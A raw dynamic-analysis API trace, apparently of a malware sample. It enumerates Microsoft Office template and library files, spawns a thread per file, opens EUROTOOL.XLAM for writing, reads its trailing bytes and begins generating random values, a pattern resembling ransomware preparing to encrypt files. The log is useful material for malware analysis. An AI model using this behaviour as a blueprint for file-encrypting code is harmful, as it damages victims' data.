1 [0120.474] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x4205df50 [0120.474] wcscpy (in: _Dest=0x4205df50, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" [0120.474] wcscat (in: _Dest=0x4205df50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" [0120.474] wcscat (in: _Dest=0x4205df50, _Source="Events.accdt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Events.accdt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Events.accdt" [0120.474] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205df50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11d8 [0120.475] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x20264590 | out: lpFindFileData=0x20264590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdedfe600, ftCreationTime.dwHighDateTime=0x1c6d84b, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdedfe600, ftLastWriteTime.dwHighDateTime=0x1c6d84b, nFileSizeHigh=0x0, nFileSizeLow=0x7490b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faculty.accdt", cAlternateFileName="FACULT~1.ACC")) returned 1 [0120.475] wcscmp (_String1="Faculty.accdt", _String2=".") returned 1 [0120.475] wcscmp (_String1="Faculty.accdt", _String2="..") returned 1 [0120.475] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205daf0 [0120.475] wcscpy (in: _Dest=0x4205daf0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" [0120.475] wcscat (in: _Dest=0x4205daf0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" [0120.475] wcscat (in: _Dest=0x4205daf0, _Source="Faculty.accdt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Faculty.accdt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Faculty.accdt" [0120.475] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205daf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11d4 [0120.476] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x20264590 | out: lpFindFileData=0x20264590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85166900, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f7cd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85166900, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x80f48, dwReserved0=0x0, dwReserved1=0x0, cFileName="Issues.accdt", cAlternateFileName="ISSUES~1.ACC")) returned 1 [0120.476] wcscmp (_String1="Issues.accdt", _String2=".") returned 1 [0120.476] wcscmp (_String1="Issues.accdt", _String2="..") returned 1 [0120.476] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x4205d230 [0120.476] wcscpy (in: _Dest=0x4205d230, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" [0120.476] wcscat (in: _Dest=0x4205d230, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" [0120.477] wcscat (in: _Dest=0x4205d230, _Source="Issues.accdt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Issues.accdt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Issues.accdt" [0120.477] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205d230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11d0 [0120.477] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x20264590 | out: lpFindFileData=0x20264590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb7c1e00, ftCreationTime.dwHighDateTime=0x1c6d84b, ftLastAccessTime.dwLowDateTime=0x14f7cd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb7c1e00, ftLastWriteTime.dwHighDateTime=0x1c6d84b, nFileSizeHigh=0x0, nFileSizeLow=0x10e5ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Marketing Projects.accdt", cAlternateFileName="MARKET~1.ACC")) returned 1 [0120.477] wcscmp (_String1="Marketing Projects.accdt", _String2=".") returned 1 [0120.478] wcscmp (_String1="Marketing Projects.accdt", _String2="..") returned 1 [0120.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x202adce0 [0120.478] wcscpy (in: _Dest=0x202adce0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" [0120.478] wcscat (in: _Dest=0x202adce0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" [0120.478] wcscat (in: _Dest=0x202adce0, _Source="Marketing Projects.accdt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Marketing Projects.accdt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Marketing Projects.accdt" [0120.478] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202adce0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11cc [0120.478] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x20264590 | out: lpFindFileData=0x20264590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6138700, ftCreationTime.dwHighDateTime=0x1c6ea89, ftLastAccessTime.dwLowDateTime=0x14fa2ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6138700, ftLastWriteTime.dwHighDateTime=0x1c6ea89, nFileSizeHigh=0x0, nFileSizeLow=0x1f5a52, dwReserved0=0x0, dwReserved1=0x0, cFileName="Northwind.accdt", cAlternateFileName="NORTHW~1.ACC")) returned 1 [0120.478] wcscmp (_String1="Northwind.accdt", _String2=".") returned 1 [0120.478] wcscmp (_String1="Northwind.accdt", _String2="..") returned 1 [0120.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x4205d4b0 [0120.479] wcscpy (in: _Dest=0x4205d4b0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" [0120.479] wcscat (in: _Dest=0x4205d4b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" [0120.479] wcscat (in: _Dest=0x4205d4b0, _Source="Northwind.accdt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Northwind.accdt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Northwind.accdt" [0120.479] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205d4b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11c8 [0120.479] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x20264590 | out: lpFindFileData=0x20264590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14fa2ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x150615d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Part", cAlternateFileName="")) returned 1 [0120.479] wcscmp (_String1="Part", _String2=".") returned 1 [0120.479] wcscmp (_String1="Part", _String2="..") returned 1 [0120.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b85cf00 [0120.479] wcscpy (in: _Dest=0x1b85cf00, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" [0120.479] wcscat (in: _Dest=0x1b85cf00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" [0120.479] wcscat (in: _Dest=0x1b85cf00, _Source="Part" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part" [0120.480] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85cf00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11c4 [0120.480] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x20264590 | out: lpFindFileData=0x20264590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bbcc000, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9bbcc000, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x15cc78, dwReserved0=0x0, dwReserved1=0x0, cFileName="Projects.accdt", cAlternateFileName="PROJEC~1.ACC")) returned 1 [0120.480] wcscmp (_String1="Projects.accdt", _String2=".") returned 1 [0120.480] wcscmp (_String1="Projects.accdt", _String2="..") returned 1 [0120.480] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4205d190 [0120.480] wcscpy (in: _Dest=0x4205d190, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" [0120.480] wcscat (in: _Dest=0x4205d190, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" [0120.480] wcscat (in: _Dest=0x4205d190, _Source="Projects.accdt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Projects.accdt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Projects.accdt" [0120.480] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11c0 [0120.481] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x20264590 | out: lpFindFileData=0x20264590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6138700, ftCreationTime.dwHighDateTime=0x1c6ea89, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6138700, ftLastWriteTime.dwHighDateTime=0x1c6ea89, nFileSizeHigh=0x0, nFileSizeLow=0xf8196, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sales Pipeline.accdt", cAlternateFileName="SALESP~1.ACC")) returned 1 [0120.481] wcscmp (_String1="Sales Pipeline.accdt", _String2=".") returned 1 [0120.481] wcscmp (_String1="Sales Pipeline.accdt", _String2="..") returned 1 [0120.481] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x202adc30 [0120.481] wcscpy (in: _Dest=0x202adc30, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" [0120.481] wcscat (in: _Dest=0x202adc30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" [0120.481] wcscat (in: _Dest=0x202adc30, _Source="Sales Pipeline.accdt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Sales Pipeline.accdt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Sales Pipeline.accdt" [0120.481] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202adc30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11bc [0120.482] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x20264590 | out: lpFindFileData=0x20264590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8694e00, ftCreationTime.dwHighDateTime=0x1c6d84b, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8694e00, ftLastWriteTime.dwHighDateTime=0x1c6d84b, nFileSizeHigh=0x0, nFileSizeLow=0x7d017, dwReserved0=0x0, dwReserved1=0x0, cFileName="Students.accdt", cAlternateFileName="STUDEN~1.ACC")) returned 1 [0120.482] wcscmp (_String1="Students.accdt", _String2=".") returned 1 [0120.482] wcscmp (_String1="Students.accdt", _String2="..") returned 1 [0120.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4205d410 [0120.482] wcscpy (in: _Dest=0x4205d410, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" [0120.482] wcscat (in: _Dest=0x4205d410, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" [0120.482] wcscat (in: _Dest=0x4205d410, _Source="Students.accdt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Students.accdt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Students.accdt" [0120.482] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205d410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11b8 [0120.483] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x20264590 | out: lpFindFileData=0x20264590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2e0200, ftCreationTime.dwHighDateTime=0x1c6d84b, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed2e0200, ftLastWriteTime.dwHighDateTime=0x1c6d84b, nFileSizeHigh=0x0, nFileSizeLow=0x84e69, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tasks.accdt", cAlternateFileName="TASKS~1.ACC")) returned 1 [0120.483] wcscmp (_String1="Tasks.accdt", _String2=".") returned 1 [0120.483] wcscmp (_String1="Tasks.accdt", _String2="..") returned 1 [0120.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b85b5b0 [0120.483] wcscpy (in: _Dest=0x1b85b5b0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" [0120.483] wcscat (in: _Dest=0x1b85b5b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" [0120.483] wcscat (in: _Dest=0x1b85b5b0, _Source="Tasks.accdt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Tasks.accdt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Tasks.accdt" [0120.483] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85b5b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11b4 [0120.484] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x20264590 | out: lpFindFileData=0x20264590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14ee4810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSS", cAlternateFileName="")) returned 1 [0120.484] wcscmp (_String1="WSS", _String2=".") returned 1 [0120.484] wcscmp (_String1="WSS", _String2="..") returned 1 [0120.484] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x20503b90 [0120.484] wcscpy (in: _Dest=0x20503b90, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" [0120.484] wcscat (in: _Dest=0x20503b90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" [0120.484] wcscat (in: _Dest=0x20503b90, _Source="WSS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS" [0120.484] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x20503b90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11b0 [0120.484] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x20264590 | out: lpFindFileData=0x20264590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14ee4810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSS", cAlternateFileName="")) returned 0 [0120.484] FindClose (in: hFindFile=0x1cd9c670 | out: hFindFile=0x1cd9c670) returned 1 [0120.486] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264590) returned 1 [0120.486] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d5f0) returned 1 [0120.486] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8668c0) returned 1 Thread: id = 1111 os_tid = 0x804 [0112.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b79d970 [0112.260] wcscpy (in: _Dest=0x1b79d970, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER" [0112.260] wcscat (in: _Dest=0x1b79d970, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\" [0112.260] wcscat (in: _Dest=0x1b79d970, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\*" [0112.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x20264800 [0112.260] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\*", lpFindFileData=0x20264800 | out: lpFindFileData=0x20264800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9cf10 [0112.260] wcscmp (_String1=".", _String2=".") returned 0 [0112.260] FindNextFileW (in: hFindFile=0x1cd9cf10, lpFindFileData=0x20264800 | out: lpFindFileData=0x20264800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.260] wcscmp (_String1="..", _String2=".") returned 1 [0112.260] wcscmp (_String1="..", _String2="..") returned 0 [0112.261] FindNextFileW (in: hFindFile=0x1cd9cf10, lpFindFileData=0x20264800 | out: lpFindFileData=0x20264800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x6c340, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER.XLAM", cAlternateFileName="SOLVER~1.XLA")) returned 1 [0112.261] wcscmp (_String1="SOLVER.XLAM", _String2=".") returned 1 [0112.261] wcscmp (_String1="SOLVER.XLAM", _String2="..") returned 1 [0112.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205ca10 [0112.261] wcscpy (in: _Dest=0x4205ca10, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER" [0112.261] wcscat (in: _Dest=0x4205ca10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\" [0112.261] wcscat (in: _Dest=0x4205ca10, _Source="SOLVER.XLAM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\SOLVER.XLAM") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\SOLVER.XLAM" [0126.875] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205ca10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbc8 [0126.875] FindNextFileW (in: hFindFile=0x1cd9cf10, lpFindFileData=0x20264800 | out: lpFindFileData=0x20264800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1ecf00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a1ecf00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x36158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER32.DLL", cAlternateFileName="")) returned 1 [0126.875] wcscmp (_String1="SOLVER32.DLL", _String2=".") returned 1 [0126.876] wcscmp (_String1="SOLVER32.DLL", _String2="..") returned 1 [0126.876] FindNextFileW (in: hFindFile=0x1cd9cf10, lpFindFileData=0x20264800 | out: lpFindFileData=0x20264800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1ecf00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a1ecf00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x36158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER32.DLL", cAlternateFileName="")) returned 0 [0126.876] FindClose (in: hFindFile=0x1cd9cf10 | out: hFindFile=0x1cd9cf10) returned 1 [0126.877] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264800) returned 1 [0126.877] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d970) returned 1 [0126.877] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868740) returned 1 Thread: id = 1112 os_tid = 0x664 [0112.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\EUROTOOL.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\eurotool.xlam")) returned 0x20 [0112.263] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\EUROTOOL.XLAM", dwFileAttributes=0x20) returned 1 [0112.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\EUROTOOL.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\eurotool.xlam"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15a8 [0112.263] GetFileSizeEx (in: hFile=0x15a8, lpFileSize=0x3516f7c0 | out: lpFileSize=0x3516f7c0*=403080) returned 1 [0112.263] SetFilePointerEx (in: hFile=0x15a8, liDistanceToMove=0x62684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.264] ReadFile (in: hFile=0x15a8, lpBuffer=0x3516f740, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3516f788, lpOverlapped=0x0 | out: lpBuffer=0x3516f740*, lpNumberOfBytesRead=0x3516f788*=0x4, lpOverlapped=0x0) returned 1 [0112.265] SetFilePointerEx (in: hFile=0x15a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.265] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261730 [0112.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c80 [0112.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263b60 [0112.266] NtQuerySystemTime (in: CurrentTime=0x3516f680 | out: CurrentTime=0x3516f680*=132462177177250000) returned 0x0 [0112.266] RtlRandomEx (in: Seed=0x3516f670 | out: Seed=0x3516f670) returned 0x2b41be63 [0112.266] RtlRandomEx (in: Seed=0x3516f670 | out: Seed=0x3516f670) returned 0x54531de7 [0112.266] RtlRandomEx (in: Seed=0x3516f670 | out: Seed=0x3516f670) returned 0x1ba84645 [0112.266] RtlRandomEx (in: Seed=0x3516f670 | out: Seed=0x3516f670) returned 0x1e03677 [0112.266] RtlRandomEx (in: Seed=0x3516f670 | out: Seed=0x3516f670) returned 0x682e01e4 [0112.266] RtlRandomEx (in: Seed=0x3516f670 | out: Seed=0x3516f670) returned 